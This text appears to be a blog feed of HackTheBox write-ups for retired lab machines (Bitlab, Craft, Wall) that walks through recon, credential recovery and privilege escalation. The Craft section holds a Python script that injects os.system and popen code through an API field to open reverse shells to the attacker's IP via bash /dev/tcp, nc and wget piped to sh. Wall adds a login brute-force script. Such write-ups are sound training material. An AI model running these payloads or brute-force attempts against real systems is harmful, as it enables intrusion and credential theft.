<span class="nv">$result</span> <span class="o">=</span> <span class="nb">pg_query</span><span class="p">(</span><span class="nv">$db_connection</span><span class="p">,</span> <span class="s2">"SELECT * FROM profiles"</span><span class="p">);</span>
<span class="nv">$numrows</span> <span class="o">=</span> <span class="nx">pg_numrows</span><span class="p">(</span><span class="nv">$result</span><span class="p">);</span>
<span class="k">for</span><span class="p">(</span><span class="nv">$i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nv">$i</span> <span class="o"><</span> <span class="nv">$numrows</span><span class="p">;</span> <span class="nv">$i</span><span class="o">++</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$row</span> <span class="o">=</span> <span class="nb">pg_fetch_array</span><span class="p">(</span><span class="nv">$result</span><span class="p">,</span> <span class="nv">$i</span><span class="p">);</span>
<span class="k">echo</span> <span class="s2">"id: "</span> <span class="o">.</span> <span class="nv">$row</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
<span class="k">echo</span> <span class="s2">"user: "</span> <span class="o">.</span> <span class="nv">$row</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
<span class="k">echo</span> <span class="s2">"pass: "</span> <span class="o">.</span> <span class="nv">$row</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span>
<span class="p">}</span>
<span class="cp">?></span>
</span></code></pre></div>
<p>We then deploy it and execute it. The content of the database is
<code>id: 1user: clavepass: c3NoLXN0cjBuZy1wQHNz==</code>
Decoding the base64 password give an error as the padding is wrong.</p>
<div class="highlight"><pre><span></span><code><span class="n">echo</span><span class="w"> </span><span class="o">-</span><span class="n">ne</span><span class="w"> </span><span class="s1">'c3NoLXN0cjBuZy1wQHNz'</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">base64</span><span class="w"> </span><span class="o">-</span><span class="n">d</span>
<span class="n">ssh</span><span class="o">-</span><span class="n">str0ng</span><span class="o">-</span><span class="n">p</span><span class="nv">@ss</span>
</code></pre></div>
<p>The decoded password do not work. But using the base64 password is working
(<strong>WHY WOULD YOU DO THAT?!</strong> this can be a complete brainfuck). We
can then connect to the box as clave using SSH and get the user flag.</p>
<div class="highlight"><pre><span></span><code>ssh clave@10.10.10.114
clave@10.10.10.114's password:
Last login: Tue Nov 26 07:17:40 2019 from 10.10.15.35
clave@bitlab:~$ ls
RemoteConnection.exe user.txt
clave@bitlab:~$ cat user.txt
1e3fd8<redacted>
</redacted></code></pre></div>
<h1>Getting root</h1>
<h2>RemoteConnection.exe</h2>
<p>If you just want to work on the binary, it is available
<a href="/media/2020.01/RemoteConnection.exe">here</a>.</p>
<p>A <code>RemoteConnection.exe</code> binary is available in <code>clave</code>'s home folder.
We copy it on our local system. It effectively a 32 bits Windows binary.</p>
<div class="highlight"><pre><span></span><code>file RemoteConnection.exe
RemoteConnection.exe: PE32 executable (console) Intel 80386, for MS Windows
</code></pre></div>
<p>We can run <code>strings</code> in order to find an hard coded password but this is not the
case here.</p>
<div class="highlight"><pre><span></span><code>strings RemoteConnection.exe
!This program cannot be run in DOS mode.
Rich
.text
`.rdata
@.data
.rsrc
@.reloc
M$SR
u$9U8s
hL2@
hY(@
hL2@
Y_^[
SVWP
h,2@
Y_^[
h\2@
hL2@
=x@@
=|@@
<snip>
</snip></code></pre></div>
<p>We boot a Windows Box (That is the first time that I boot a Windows box for a
HTB challenge) and run the binary in it. We got a message <code>Access Denied !!</code></p>
<div class="highlight"><pre><span></span><code>>RemoteConnection.exe 10.10.10.114
Access Denied !!
</code></pre></div>
<h2>x64dbg</h2>
<p>We load the binary in <a href="https://x64dbg.com/">x64dbg</a>.
We run to user code (<alt>+<f9>). Then we take a look at the strings. It seems
that our binary use putty to establish a remote SSH connection.</f9></alt></p>
<p><img alt="Strings in the binary" class="image-process-article-image" src="/media/2020.01/derivatives/article-image/bitlab_8.png"/></p>
<p>We put a breakpoint (<f2> on the <code>Access Denied !!</code> string).</f2></p>
<p><img access="" alt="Breaking on " class="image-process-article-image" denied""="" src="/media/2020.01/derivatives/article-image/bitlab_9.png"/></p>
<p>And we execute the program (it will automatically stop at our breakpoint). We
can see that we got the options for putty:
<code>005EF708 02533678 "-ssh root@gitlab.htb -pw \"Qf7]8YSV.wDNF*[7d?j&eD4^\""</code>.
We directly use the password to connect as root on the box and get the flag.</p>
<p><img alt="The putty options at our breakpoint" class="image-process-article-image" src="/media/2020.01/derivatives/article-image/bitlab_10.png"/></p>
<p>root@kalili:~# ssh root@10.10.10.114
root@10.10.10.114's password:
Last login: Tue Nov 26 10:41:25 2019 from 10.10.15.142
root@bitlab:~# cat /root/root.txt
8d4cc13<redacted></redacted></p>
<h1>Wrapping up</h1>
<p>This box was interesting. The base64 password was a pain but still the user part
was quit realist as a lot of companies have some code versioning and CI tools
(gitlab, gogs, jenkins) the root part
was interesting at it implies some basic reverse engineering.</p>HTB: Craft2020-01-05T10:35:00+01:002020-01-05T10:35:00+01:00maggicktag:maggick.fr,2020-01-05:/2020/01/htb-craft.html<p><img alt="Craft card" class="align-left" src="/media/2020.01/craft_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/197">Craft</a>
This box is classified as a medium machine. The user part is quit long and
involve to find "secrets" in a git repository, access an API to get a
reverse shell and manipulate a MySQL database in a jailed environment. The root
part is quit easier and involve to interact with a vault instance.</p>
<p><img alt="Craft card" class="align-left" src="/media/2020.01/craft_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/197">Craft</a>
This box is classified as a medium machine. The user part is quit long and
involve to find "secrets" in a git repository, access an API to get a
reverse shell and manipulate a MySQL database in a jailed environment. The root
part is quit easier and involve to interact with a vault instance.</p>
<h1>User</h1>
<h2>Recon</h2>
<p>We start with an nmap scan. Only the ports 22, 6022 (SSH) and 443 (HTTPS) are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Fri Nov 8 15:33:42 2019 as: nmap -p- -sSV -oA 10.10.10.110 10.10.10.110
Nmap scan report for 10.10.10.110
Host is up (0.15s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
443/tcp open ssl/http nginx 1.15.8
6022/tcp open ssh (protocol 2.0)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.80%I=7%D=11/8%Time=5DC57F7D%P=x86_64-pc-linux-gnu%r(NU
SF:LL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Nov 8 15:45:26 2019 -- 1 IP address (1 host up) scanned in 704.14 seconds
</code></pre></div>
<h2>Web</h2>
<p>The website present the Craft database for <strong>beers</strong>!</p>
<blockquote>
<p>Craft aims to be the largest repository of US-produced craft brews accessible
over REST. In the future we will release a mobile app to interface with our
public rest API as well as a brew submission process, but for now, check out our API!</p>
</blockquote>
<p>There is also a link to a <a href="https://gogs.io/">gogs</a> as well as the API. This
links redirect to some subdomain. Let us add some informations in our
<code>/etc/hosts</code>.</p>
<div class="highlight"><pre><span></span><code>cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kalili
10.10.10.110 craft.htb
10.10.10.110 api.craft.htb
10.10.10.110 gogs.craft.htb
</code></pre></div>
<h2>GOGS</h2>
<p>On the gogs commit we can found the credentials of an user used for testing purpose in
the commit <code>10e3ba4f0a09c778d7cec673f28d410b73455a86</code> in the file
<code>test/test.py</code>.</p>
<p><img alt="git file" class="image-process-article-image" src="/media/2020.01/derivatives/article-image/craft_1.png"/></p>
<p>This creds allow us to interct with the API. Moreover the <code>test.py</code> script take
care to generate a valid token and let us directly interact with the API. The
quote are a bit a pain in the ass here. Nevertheless we can validate the code
execution using a python simpleHTTPserver on our end and execute <code>wget 10.10.14.51:8081/$(<command/>)</code>
server side.</p>
<p>At least we get a reverse shell.</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/env python</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">'https://api.craft.htb/api/auth/login'</span><span class="p">,</span> <span class="n">auth</span><span class="o">=</span><span class="p">(</span><span class="s1">'dinesh'</span><span class="p">,</span> <span class="s1">'4aUh0A8PbVJxgd'</span><span class="p">),</span> <span class="n">verify</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
<span class="n">json_response</span> <span class="o">=</span> <span class="n">json</span><span class="o">.</span><span class="n">loads</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">text</span><span class="p">)</span>
<span class="n">token</span> <span class="o">=</span> <span class="n">json_response</span><span class="p">[</span><span class="s1">'token'</span><span class="p">]</span>
<span class="n">headers</span> <span class="o">=</span> <span class="p">{</span> <span class="s1">'X-Craft-API-Token'</span><span class="p">:</span> <span class="n">token</span><span class="p">,</span> <span class="s1">'Content-Type'</span><span class="p">:</span> <span class="s1">'application/json'</span> <span class="p">}</span>
<span class="c1"># make sure token is valid</span>
<span class="c1">#response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False, proxies=proxies)</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">'https://api.craft.htb/api/auth/check'</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span> <span class="n">verify</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">text</span><span class="p">)</span>
<span class="c1"># create a sample brew with bogus ABV... should fail.</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Create bogus ABV brew"</span><span class="p">)</span>
<span class="n">brew_dict</span> <span class="o">=</span> <span class="p">{}</span>
<span class="c1">#brew_dict['abv'] = '__import__("os").system("/bin/bash -i >& /dev/tcp/10.10.14.51/7777 0>&1")'</span>
<span class="c1">#brew_dict['abv'] = '__import__("os").system("wget 10.10.14.51:8081/$(ls ./lolll.sh)")'</span>
<span class="c1">#brew_dict['abv'] = '__import__("os").system("ncat 10.10.14.51 4444 -e /bin/sh &")'</span>
<span class="c1">#brew_dict['abv'] = '__import__("os").system("wget -O - 10.10.14.51:8081/shell.py | sh")'</span>
<span class="n">brew_dict</span><span class="p">[</span><span class="s1">'abv'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'__import__(</span><span class="se">\'</span><span class="s1">os</span><span class="se">\'</span><span class="s1">).popen(</span><span class="se">\'</span><span class="s1">nc 10.10.14.194 7777 -e /bin/sh</span><span class="se">\'</span><span class="s1">).read()'</span>
<span class="c1">#brew_dict['abv'] = '0.15'</span>
<span class="n">brew_dict</span><span class="p">[</span><span class="s1">'name'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'bullshit'</span>
<span class="n">brew_dict</span><span class="p">[</span><span class="s1">'brewer'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'bullshit'</span>
<span class="n">brew_dict</span><span class="p">[</span><span class="s1">'style'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'bullshit'</span>
<span class="n">json_data</span> <span class="o">=</span> <span class="n">json</span><span class="o">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">brew_dict</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">json_data</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="s1">'https://api.craft.htb/api/brew/'</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">json_data</span><span class="p">,</span> <span class="n">verify</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">text</span><span class="p">)</span>
</code></pre></div>
<h2>API: reverse shell</h2>
<p>Once we get a relay on the box we notice that we are root… but in a docker.</p>
<div class="highlight"><pre><span></span><code>cat release_agent
/var/lib/docker/overlay2/28e271a4328612a47294bbae8c8b7f01470e29454eef499b5beda147a55000e0/diff/c
uname -a
Linux 5a3d243127f5 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 Linux
cat /proc/1/cgroup
10:pids:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
9:memory:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
8:blkio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
7:perf_event:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
6:net_cls,net_prio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
5:freezer:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
4:devices:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
3:cpuset:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
2:cpu,cpuacct:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
1:name=systemd:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
</code></pre></div>
<h2>MySQL</h2>
<p>We explorer the application folder and found some database settings.</p>
<div class="highlight"><pre><span></span><code>cat craft_api/settings.py
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False # Do not use debug mode in production
# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'
# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False
</code></pre></div>
<p>In order to have a "better" shell we can use <code>/bin/sh -i</code></p>
<p>There is a <code>dbtest.py</code> script that allow us to test the connection to the
database. We cat that script in a new one in order to change the SQL line to
list the <code>users</code>'s table. At first I tried with a <code>from users</code>. As there was no
result I tried with the following:</p>
<div class="highlight"><pre><span></span><code>/opt/app # head -n 15 dbtest.py > dbtest2.py
/opt/app # echo ' sql = "SELECT * from user"' >>dbtest2.py
/opt/app # echo ' sql = "SELECT * from user"' >>dbtest2.py
/opt/app # tail -n 6 dbtest.py >> dbtest2.py
/opt/app # python dbtest2.py
{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}
</code></pre></div>
<p>We get only one user because the <code>dbtest.py</code> script use the <code>cursor.fetchone()</code> function.
The <code>pymysql</code> <a href="https://pymysql.readthedocs.io/en/latest/modules/cursors.html">documentation</a>
indicate that we want to use the <code>cursor.fetchall()</code> function. We modify our
"script":</p>
<div class="highlight"><pre><span></span><code>/opt/app # head -n 15 dbtest.py > dbtest2.py
/opt/app # echo ' sql = "SELECT * from user"' >>dbtest2.py
/opt/app # echo ' cursor.execute(sql)'>>dbtest2.py
/opt/app # echo ' result = cursor.fetchall()'>>dbtest2.py
/opt/app # tail -n 4 dbtest.py >>dbtest2.py
/opt/app # python dbtest2.py
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
</code></pre></div>
<p>We can then connect to the GOGS with the <code>gilfoyle</code> credentials.</p>
<p>This user has a private repository containing sensitive information as his private
SSH key. The key is protected by a passphrase. That passhrase is his password!
We need to copy his private and public key in our <code>.ssh</code> folder. We also need to
change the private key permission (<code>chmod 600</code>). We can then SSH to the machine
and get the user flag:</p>
<div class="highlight"><pre><span></span><code>ssh craft.htb -l gilfoyle
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/
Enter passphrase for key '/root/.ssh/id_rsa':
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
gilfoyle@craft:~$ ls
user.txt
gilfoyle@craft:~$ cat user.txt
bbf4b<redacted>
</redacted></code></pre></div>
<h1>getting root</h1>
<h2>enumeration</h2>
<p>When listing the <code>gilfoyle</code> home folder we found a <code>.vault-token</code> file
containing a <a href="https://www.vaultproject.io/">vault</a> token.</p>
<div class="highlight"><pre><span></span><code>gilfoyle@craft:~$ ls -al
total 36
drwx------ 4 gilfoyle gilfoyle 4096 Feb 9 2019 .
drwxr-xr-x 3 root root 4096 Feb 9 2019 ..
-rw-r--r-- 1 gilfoyle gilfoyle 634 Feb 9 2019 .bashrc
drwx------ 3 gilfoyle gilfoyle 4096 Feb 9 2019 .config
-rw-r--r-- 1 gilfoyle gilfoyle 148 Feb 8 2019 .profile
drwx------ 2 gilfoyle gilfoyle 4096 Feb 9 2019 .ssh
-r-------- 1 gilfoyle gilfoyle 33 Feb 9 2019 user.txt
-rw------- 1 gilfoyle gilfoyle 36 Feb 9 2019 .vault-token
-rw------- 1 gilfoyle gilfoyle 2546 Feb 9 2019 .viminfo
gilfoyle@craft:~$ cat .vault-token
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
</code></pre></div>
<h2>Vault</h2>
<p>In order to use vault, when need to authenticate ourself with the token.</p>
<div class="highlight"><pre><span></span><code>gilfoyle@craft:~$ vault login
Token (will be hidden):
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.
Key Value
--- -----
token f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
token_accessor 1dd7b9a1-f0f1-f230-dc76-46970deb5103
token_duration ∞
token_renewable false
token_policies ["root"]
identity_policies []
policies ["root"]
</code></pre></div>
<p>We are member of the vault's
<a href="https://www.vaultproject.io/docs/concepts/policies.html#root-policy">root policy</a>
meaning that we can access everything stored on the vault.</p>
<p>The vault is unsealed. Therefore we can directly access to the data. If this vault
was sealed we will need 3 of the 5 keys to unsealed
the vault (with the <em>shamir</em> seal type).</p>
<div class="highlight"><pre><span></span><code>gilfoyle@craft:~$ vault status
Key Value
--- -----
Seal Type shamir
Initialized false
Sealed false
Total Shares 5
Threshold 3
Version 0.11.1
Cluster Name vault-cluster-cb7e66f9
Cluster ID 8bb98351-0148-3c42-d124-45a87dc43db7
HA Enabled false
</code></pre></div>
<p>We can list the secret engine enable on the vault.</p>
<div class="highlight"><pre><span></span><code>gilfoyle@craft:~$ vault secrets list
Path Type Accessor Description
---- ---- -------- -----------
cubbyhole/ cubbyhole cubbyhole_ffc9a6e5 per-token private secret storage
identity/ identity identity_56533c34 identity store
secret/ kv kv_2d9b0109 key/value secret storage
ssh/ ssh ssh_3bbd5276 n/a
sys/ system system_477ec595 system endpoints used for control, policy and debugging
</code></pre></div>
<p>In the <code>craf-infra</code> repository there is a <code>vault</code> folder containing a
<code>secret.sh</code> file. This file show wich secrets are created: An ssh acces for the
root user.</p>
<div class="highlight"><pre><span></span><code>craft-infra/vault# cat secrets.sh
#!/bin/bash
# set up vault secrets backend
vault secrets enable ssh
vault write ssh/roles/root_otp \
key_type=otp \
default_user=root \
cidr_list=0.0.0.0/0
</code></pre></div>
<p>Therefore we just need to use the <code>vault</code>'s <code>ssh</code> command to connect as <code>root</code>
on <code>localhost</code> with the <code>otp</code> mode. We are root on the machine and can access
the flag.</p>
<div class="highlight"><pre><span></span><code>gilfoyle@craft:~$ vault ssh -mode=otp root@127.0.0.1
WARNING: No -role specified. Use -role to tell Vault which ssh role to use for
authentication. In the future, you will need to tell Vault which role to use.
For now, Vault will attempt to guess based on the API response. This will be
removed in the Vault 1.1.
Vault SSH: Role: "root_otp"
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: fb100502-b40c-9f60-aa35-f90a5000a2a3
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/
Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~# cat root.txt
831d6<redacted>
</redacted></code></pre></div>
<h1>Wrapping up</h1>
<p>This box was really interesting as everything is applicable in real life. The
user part was quit long (compared to the user part) and getting a working
reverse shell was a brain crusher. For the root part it was quit easy but allow
me to learn more about <a href="https://www.vaultproject.io">vault</a>.</p>HTB: Wall2019-12-07T17:45:00+01:002019-12-07T17:45:00+01:00maggicktag:maggick.fr,2019-12-07:/2019/12/htb-wall.html<p><img alt="Wall Card" class="align-left" src="/media/2019.12/wall_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/208">Wall</a>.
This box is rated as a medium box. It implies a lot of frustration, some
bruteforce, an centreon exploit with a WAF bypass and the exploitation of a SUID
<code>screen</code>.</p>
<p><img alt="Wall Card" class="align-left" src="/media/2019.12/wall_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/208">Wall</a>.
This box is rated as a medium box. It implies a lot of frustration, some
bruteforce, an centreon exploit with a WAF bypass and the exploitation of a SUID
<code>screen</code>.</p>
<p>[TOC]</p>
<h1>User</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. The ports 22 (SSH) and 80 (HTTP)
are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Thu Nov 28 07:17:03 2019 as: nmap -p- -oA nmap 10.10.10.157
Nmap scan report for 10.10.10.157
Host is up (0.085s latency).
Not shown: 65444 closed ports, 89 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Thu Nov 28 07:30:05 2019 -- 1 IP address (1 host up) scanned in 782.66 seconds
</code></pre></div>
<h2>Web</h2>
<p>The home page is the default Apache page.</p>
<p><img alt="Default apache page" class="image-process-article-image" src="/media/2019.12/derivatives/article-image/wall_1.png"/></p>
<p>We run a dib against the site. Only one URL is found by the tool <code>/monitoring</code>.</p>
<div class="highlight"><pre><span></span><code>-----------------
DIRB v2.22
By The Dark Raver
-----------------
OUTPUT_FILE: dirb
START_TIME: Thu Sep 19 11:29:07 2019
URL_BASE: http://10.10.10.157/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.157/ ----
+ http://10.10.10.157/index.html (CODE:200|SIZE:10918)
+ http://10.10.10.157/monitoring (CODE:401|SIZE:459)
+ http://10.10.10.157/server-status (CODE:403|SIZE:300)
-----------------
END_TIME: Thu Sep 19 11:41:07 2019
DOWNLOADED: 4612 - FOUND: 3
</code></pre></div>
<p>The page is protected with a basic auth with the message "Protected area by the
admin". We guess that the user is "admin". We could try to bruteforce the
password but that doesn't work.</p>
<p>After some frustration, I sent some POST data to the page. Which result in a
redirection to <code>/monitoring/</code> and to a new URL.</p>
<div class="highlight"><pre><span></span><code>root@kalili:~# curl -d 'data=data' -X POST http://10.10.10.157/monitoring
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://10.10.10.157/monitoring/">here</a>.</p>
<hr/>
<address>Apache/2.4.29 (Ubuntu) Server at 10.10.10.157 Port 80</address>
</body></html>
root@kalili:~# curl -d 'data=data' -X POST http://10.10.10.157/monitoring/
<h1>This page is not ready yet !</h1>
<h2>We should redirect you to the required page !</h2>
<meta content="0; URL='/centreon'" http-equiv="refresh"/>
</code></pre></div>
<p>We go to the <code>/centreon</code> URL. This is another authentication form.</p>
<p><img alt="Centreon authentication" class="image-process-article-image" src="/media/2019.12/derivatives/article-image/wall_2.png"/></p>
<p>We can guess that the user is admin. We load the 50 first enrties of rockyou
(<code>head -n 50 rockyou.txt > rockyou_50.txt</code>).</p>
<p><em>Disclaimer: Bruteforce attacks are pretty uncommon on HTB. I asked on the
Discord if this was the right track before bruteforcing as it might distrupt the
box for other users.</em></p>
<p>When looking at the requests we can see that there is a token protecting the
application against brute force. We wrote a simple python script to make a first
request, get the token and send a authentication request.</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">from</span> <span class="nn">bs4</span> <span class="kn">import</span> <span class="n">BeautifulSoup</span>
<span class="n">url</span> <span class="o">=</span> <span class="s2">"http://10.10.10.157/centreon/index.php"</span>
<span class="k">def</span> <span class="nf">testPassword</span><span class="p">(</span><span class="n">password</span><span class="p">):</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">Session</span><span class="p">()</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
<span class="n">soup</span> <span class="o">=</span> <span class="n">BeautifulSoup</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">,</span> <span class="s1">'html.parser'</span><span class="p">)</span>
<span class="n">token</span> <span class="o">=</span> <span class="n">soup</span><span class="o">.</span><span class="n">find_all</span><span class="p">(</span><span class="s1">'input'</span><span class="p">)[</span><span class="mi">3</span><span class="p">]</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">'value'</span><span class="p">)</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="s1">'useralias'</span><span class="p">:</span><span class="s1">'admin'</span><span class="p">,</span> <span class="s1">'password'</span><span class="p">:</span> <span class="n">password</span><span class="p">,</span> <span class="s1">'submitLogin'</span><span class="p">:</span><span class="s1">'Connect'</span><span class="p">,</span> <span class="s1">'centreon_token'</span><span class="p">:</span><span class="n">token</span><span class="p">})</span>
<span class="k">if</span> <span class="p">(</span><span class="s1">'Your credentials are incorrect.'</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">):</span>
<span class="nb">print</span><span class="p">(</span><span class="n">password</span><span class="p">)</span>
<span class="n">file</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s2">"rockyou_50.txt"</span><span class="p">)</span>
<span class="k">for</span> <span class="n">password</span> <span class="ow">in</span> <span class="n">file</span><span class="p">:</span>
<span class="n">testPassword</span><span class="p">(</span><span class="n">password</span><span class="o">.</span><span class="n">strip</span><span class="p">())</span>
</code></pre></div>
<p>We launch the script and get the password: <code>password1</code>. We can then login in
the centron interface.</p>
<p><img alt="Centreon interface" class="image-process-article-image" src="/media/2019.12/derivatives/article-image/wall_3.png"/></p>
<p>We search for the available exploits on this solution. Most of the know exploits
are old but the one concerning Centreon 19.04.</p>
<div class="highlight"><pre><span></span><code># searchsploit centreon
--------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
Centreon - SQL Injection / Command Inj | exploits/unix/remote/35078.rb
Centreon 1.4.2.3 - 'get_image.php' Rem | exploits/php/webapps/5204.py
Centreon 1.4.2.3 - 'index.php' Local F | exploits/php/webapps/31318.txt
Centreon 19.04 - Remote Code Executio | exploits/php/webapps/47069.py
Centreon 2.3.1 - 'command_name' Remote | exploits/php/webapps/36293.txt
Centreon 2.5.3 - Remote Command Execut | exploits/php/webapps/39501.txt
Centreon 2.5.3 - Web Useralias Command | exploits/python/remote/40170.rb
Centreon 2.5.4 - Multiple Vulnerabilit | exploits/php/webapps/37528.txt
Centreon 2.6.1 - Multiple Vulnerabilit | exploits/php/webapps/38339.txt
Centreon < 2.5.1 / Centreon Enterprise | exploits/linux/webapps/41676.rb
Centreon Enterprise Server 2.3.3 < 2.3 | exploits/php/webapps/23362.py
Centreon IT & Network Monitoring 2.1.5 | exploits/php/webapps/11979.pl
Oreon 1.4 / Centreon 1.4.1 - Multiple | exploits/php/webapps/4735.txt
--------------------------------------- ----------------------------------------
Shellcodes: No Result
Papers: No Result
</code></pre></div>
<p>A quick Google research let us find
